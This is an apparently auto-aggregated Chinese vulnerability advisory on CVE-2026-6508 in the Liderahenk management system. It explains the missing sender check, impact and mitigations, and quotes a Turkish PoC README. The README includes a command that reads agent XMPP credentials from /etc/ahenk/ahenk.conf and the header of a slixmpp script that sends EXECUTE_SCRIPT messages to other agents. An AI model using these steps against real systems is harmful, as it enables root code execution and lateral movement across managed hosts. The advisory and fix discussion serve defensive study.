摘要：CVE-2026-6508 是 TÜBİTAK BİLGEM 软件技术研究所开发的 Liderahenk 集中管理系统中一个被评分为 CVSS 9.8 的严重源验证缺失漏洞，影响 2.0.1 及之前版本（2.0.2 修复）。该漏洞属于“Origin Validation Error”，即软件未能正确验证消息来源是否具备合法管理权限，导致任意已连接到同一 XMPP 基础设施的受管客户端（agent）都能伪装成管理面板，向其他目标 agent 发送执行命令，进而在目标主机上以 root 权限执行任意代码，实现未经授权的远程代码执行（Unauthorized RCE）与横向移动（Lateral Movement）。官方仓库中已出现名为 EvilAhenk 的概念验证（PoC）项目，证实该漏洞可被实际利用。

📌 漏洞概述

CVE 编号：CVE-2026-6508
CVSS 评分：9.8（Critical）
漏洞类型：Origin Validation Error（CWE-346）——未能正确验证消息来源是否经过授权/可信
受影响版本：Liderahenk from 2.0.1 before 2.0.2
修复版本：2.0.2

Liderahenk 是 TÜBİTAK BİLGEM 开发的一款开源集中管理工具，用于大规模管理 Linux 终端（尤其是 Pardus 系统）。其服务端（Lider）与管理端（Ahenk agent）之间通过 XMPP 协议进行通信，管理面板通过 XMPP 向目标 agent 下发策略、任务和脚本执行指令。

该漏洞的核心在于：目标 agent 在执行来自 XMPP 的 EXECUTE_POLICY、EXECUTE_TASK、EXECUTE_SCRIPT 等消息时，并未验证消息的真实来源是否为受信任的 Lider 管理服务器或授权管理账户。任何能够连接同一 XMPP 服务器的合法客户端（例如一台被入侵的受管终端），都可以构造消息并直接发送给其他 agent，而接收端 agent 会无差别地执行其中携带的任意系统命令，从而以 agent 服务权限（通常为 root）完成远程代码执行。

🔬 漏洞根因分析

要理解 CVE-2026-6508 的根因，首先需要梳理 Liderahenk 的正常通信模型。其架构如下：

• 中央管理面板（Lider）作为 XMPP 客户端，使用具备管理权限的 JID（如 lider_sunucu）连接 XMPP 服务器；
• 每个终端上的 Ahenk agent 也作为 XMPP 客户端，使用在安装时生成的唯一 UID 和密码连接同一 XMPP 服务器；
• 管理面板通过 XMPP 消息向目标 agent 发送策略执行指令；
• agent 收到消息后，解析消息内容并调用相应的插件执行任务。

正常的信任模型假设：只有管理面板的 XMPP 账户才具有下发执行指令的资格，agent 应当仅接受来自该可信账户的消息。然而，CVE-2026-6508 的根因正是在 agent 端代码中没有实现任何来源验证机制。agent 仅检查消息中是否包含有效的命令字段（例如 EXECUTE_SCRIPT），但不检查消息的“from”属性是否为可信的管理服务器 JID，甚至不验证消息是否携带了抗重放或签名凭证。

从协议层面看，XMPP 本身是去中心化的消息路由协议，任何一个合法登录到同一域的客户端都可以向其他实体发送 stanza（消息节）。XMPP 服务器只负责路由，并不会为业务应用层提供“谁可以给谁发送什么指令”的访问控制。因此，当 agent 将业务信任全部寄托在 XMPP 传输层上，却不对业务消息本身做来源认证时，就等同于把管理通道完全暴露给所有能够连接 XMPP 服务器的实体。

实际利用步骤也印证了这一根因。攻击者首先需要获得任意一台已纳入 Liderahenk 管理的终端控制权，然后从该终端的 /etc/ahenk/ahenk.conf 中读取自身的 XMPP 凭据，包括：

uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222

接着，攻击者使用 slixmpp 等开源 XMPP 库，以该合法凭据连接同一 XMPP 服务器（仅仅是连接，并不需要破解 XMPP 服务器），然后构造一条伪造来源的 EXECUTE_SCRIPT 消息，将目标受害 agent 的 JID（例如 ct-1@pabuc）填入 to 地址，并附带需要执行的 payload（如反弹 shell、添加后门用户等）。当 XMPP 服务器将这条消息正常路由至 ct-1 时，ct-1 上的 Ahenk agent 会依据消息中的指令直接执行该 payload，而完全不校验这条消息是否来自合法的管理面板。ahenk.service 通常以 root 权限运行，因此最终命令将以 root 身份在目标主机上执行。

值得注意的是，XMPP 服务器本身并没有被攻破，只是按协议完成了消息转发。真正的缺陷在 Liderahenk agent 的入站消息处理逻辑中——缺少对消息来源 JID 的信任校验。该问题的本质是权限控制缺失与源验证错误的组合：系统没有为“谁可以执行管理操作”定义 ACL，也没有在消息层实施任何身份认证。攻击者拥有的只是一台受管终端的合法 XMPP 身份，却获得了等同于整个管理域的超管执行权限。

💥 影响与危害

该漏洞允许任何已连接 XMPP 的客户端（例如被攻破的受管终端）对其他终端执行任意代码，影响极为严重：

• 未授权远程代码执行（RCE）：攻击者无需任何管理凭据，仅凭任意一台受管设备的 XMPP 凭据，即可在指定的其他受管设备上以 root 权限执行任意命令，包括安装恶意软件、篡改系统配置、窃取敏感数据等。
• 大规模横向移动：攻击者可以循环扫描内网中所有在线 agent，逐一发送恶意指令，从单点突破扩展为整个组织范围内所有 Liderahenk 终端的完全控制，形成“一键控制所有机器”的局面。
• 完全失陷与勒索风险：由于 agent 以 root 运行，攻击者可获取目标系统最高权限，进而关闭安全软件、导出凭据、加密文件系统实施勒索，或利用受控主机继续攻击内网其他基础设施。
• 破坏管理链路的可信性：即使管理员升级了管理面板，旧 agent 若未升级，仍然无法识别攻击者伪造的管理消息，漏洞将持续存在，即使管理员更改 XMPP 密码也无法缓解。
• 隐蔽性高：利用过程主要通过正常 XMPP 协议通信，攻击行为与管理流量混淆，传统的网络监控很难区分恶意指令与正常管理指令，安全团队不易发现入侵痕迹。

考虑到 Liderahenk 常用于政府部门或大型企业的大规模终端管理，该漏洞可被 APT 组织或勒索软件团伙利用，造成灾难性的安全事件。尽管当前 CISA KEV 尚未收录该漏洞，但已有公开 PoC（EvilAhenk），实际被武器化的风险极高。

🛡️ 修复与缓解

官方修复：Liderahenk 2.0.2 版本修复了该漏洞。所有运行 2.0.1 及更早版本的系统应尽快升级至 2.0.2 或更高版本。升级后请确认所有 agent 端均已完成更新——仅升级服务端是不够的，agent 端的消息校验逻辑同样必须更新。

缓解措施：

• 限制 XMPP 访问范围：通过防火墙或网络策略，仅允许管理网络中的受信任 IP 连接 XMPP 服务器端口（如 5222），从网络层面阻断非受控终端直接连接 XMPP 服务。
• 加强 agent 配置保护：由于攻击者可通过读取 /etc/ahenk/ahenk.conf 获取 XMPP 凭据，务必增强这些配置文件的访问控制（例如仅 root 可读），同时使用更严格的系统安全基线保护终端。
• 植入消息签名校验：在未能升级前，可考虑在 XMPP 消息中增加消息签名（例如使用预共享密钥对关键字段签名），agent 端验证签名后才执行命令。但此方案需要自定义补丁，不适用于所有环境。
• 监控异常 XMPP 指令：在 XMPP 服务器或网络边界上监控包含 EXECUTE_SCRIPT、EXECUTE_TASK 等敏感字符串的消息，报警并检查发起者是否来自已知管理面板的 JID。
• 最小化 agent 权限：虽然 ahenk 服务通常需要 root 权限执行系统管理任务，但可以考虑使用容器化或标准 Linux 安全模块（AppArmor/SELinux）限制 agent 对必要系统路径的写权限，降低被利用后的影响。
• 及时更新与加固：持续关注官方发布的安全公告，定期升级 Liderahenk 组件，同时对所有终端实施最小权限、补丁管理和入侵检测，防止任何单点设备失陷后引发全域沦陷。

总之，CVE-2026-6508 是一个设计层面的信任缺陷，而非简单的输入校验问题。修复必须从架构上补齐“消息来源验证”这一核心环节。所有使用 Liderahenk 的组织应把升级至 2.0.2 作为最高紧急事项处理，并同时采取上述临时缓解措施，以最大程度降低被利用的风险。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。

📋 代码元数据语言md来源jackalkarlos/EvilAhenk针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2026-6508
EvilAhenk,LiderAhenk Merkezi Yönetim Sistemi mimarisinde,uç birimler (agents) arası tüm istemcilerin birbirleri üzerinde 'root' yetkisiyle kod çalıştırılmasına (Unauthorized RCE &Lateral Movement) olanak tanıyan kritik güvenlik zafiyetidir.

## Sistem Nasıl Çalışır
LiderAhenk'te yönetim paneli/merkez sunucu,
istemcilere XMPP üzerinden görev ve politika mesajları yollar.

- Merkez Yönetim Paneli yetkili kullanıcı ile XMPP sunucusuna bağlanır,- İstemcilerdeki `ahenk` agent'ları da aynı XMPP altyapısına bağlanır,- Merkez,hedef istemciye `EXECUTE_POLICY`,`EXECUTE_TASK` veya `EXECUTE_SCRIPT` gibi mesajlar yollar
- İstemci agent,
bu mesajları alıp uygular

Yani XMPP burada yönetim trafiğinin taşıma kanalıdır. Merkez panelin komutları normalde bu kanal üzerinden istemcilere gider.

## Beklenen akış ve zafiyetli akış farkı

Beklenen akış:

```text
Lider/Ahenk yonetim paneli ->XMPP sunucusu ->hedef agent
```

Zafiyetli akış:

- `ct-2`,aynı XMPP sunucusuna bağlı geçerli bir istemcidir
- `ct-2`,
`ct-1` JID'ini hedefleyerek XMPP server üzerinden `EXECUTE_SCRIPT` mesajı yollar
- XMPP sunucusu mesajı `ct-1`'e iletir
- `ct-1`,mesajın gerçekten `lider_sunucu`dan gelip gelmediğini kontrol etmeden komutu çalıştırır
- Komut root olarak çalışır çünkü `ahenk.service` root olarak çalışır

```text
ct-2 veya baska bir XMPP hesabi ->XMPP sunucusu ->ct-1 agent ->
root komut
```

Yani biz XMPP katmanını hacklemiyoruz. XMPP sunucusu normal mesaj yönlendirme yapıyor. Sorun,
`ct-1` tarafındaki Ahenk agent'inin gelen mesajın gerçekten yetkili yönetim hesabından gelip gelmediğini kontrol etmemesi.

## PoC

```
pip install slixmpp
```

Ele geçirilmiş ve merkezi yönetim sistemine bağlı bir client üzerinden aşağıdaki gibi bilgiler toplanır:

```bash
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
```

Örnek Çıktı;
```bash
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
```

Main.py dosyasını aldığımız bilgilere göre güncelliyoruz,im.liderahenk.org domain,
pardus-ct-1 hedef uid

```
- XMPP user: `pardus-ct-2@im.liderahenk.org`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Varsayilan hedef: `pardus-ct-1@im.liderahenk.org`
```

Kurban makinede çalıştırılacak komut COMMAND değişkeni değiştirilerek düzenlenebilir.
```py
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py |
head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP

XMPP_USER = "pardus-ct-2@im.liderahenk.org"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "pardus-ct-1@im.liderahenk.org"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id >/tmp/who;
false"
```

## Zafiyetli kod
`repos/ahenk/src/base/messaging/messenger.py` içinde gelen mesaj sadece `type` alanına göre işleniyor. `msg['from']` için yetkili gönderici kontrolü yok:

```p
def recv_direct_message(self,msg):
    if msg['type'] in ['normal']:
        j = json.loads(str(msg['body']))
        message_type = j['type']
        self.event_manger.fireEvent(message_type,
str(msg['body']))
```

`repos/ahenk/src/base/execution/execution_manager.py` içinde ise `EXECUTE_SCRIPT` doğrudan komut çalıştırmaya gidiyor:

```python
def execute_script(self,arg):
    json_data = json.loads(arg)
    result_code,p_out,
p_err = Util.execute(str(json_data['command']))
```

Bu iki parça birleşince etkisi şu oluyor:
- XMPP sunucusu mesajı hedefe iletiyor
- Kurban agent göndereni doğrulamadan `EXECUTE_SCRIPT` event'ini tetikliyor
- Komut root olarak çalışıyor

Olabilecek tasarımsal fix;```python
def recv_direct_message(self,
msg):
    if msg['type'] != 'normal':
        return

    allowed_sender = self.receiver.split('/')[0]
    actual_sender = msg['from'].bare
    if actual_sender != allowed_sender:
        self.logger.warning("Rejected message from %s",actual_sender)
        return

    j = json.loads(str(msg['body']))
    self.event_manger.fireEvent(j['type'],str(msg['body']))

⚔️ EXP 利用代码

截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议：

• 根据漏洞根因编写 Nuclei 检测模板
• 在 WAF/IDS 中配置针对漏洞特征的规则
• 关注漏洞指纹库更新

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-09 12:00 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库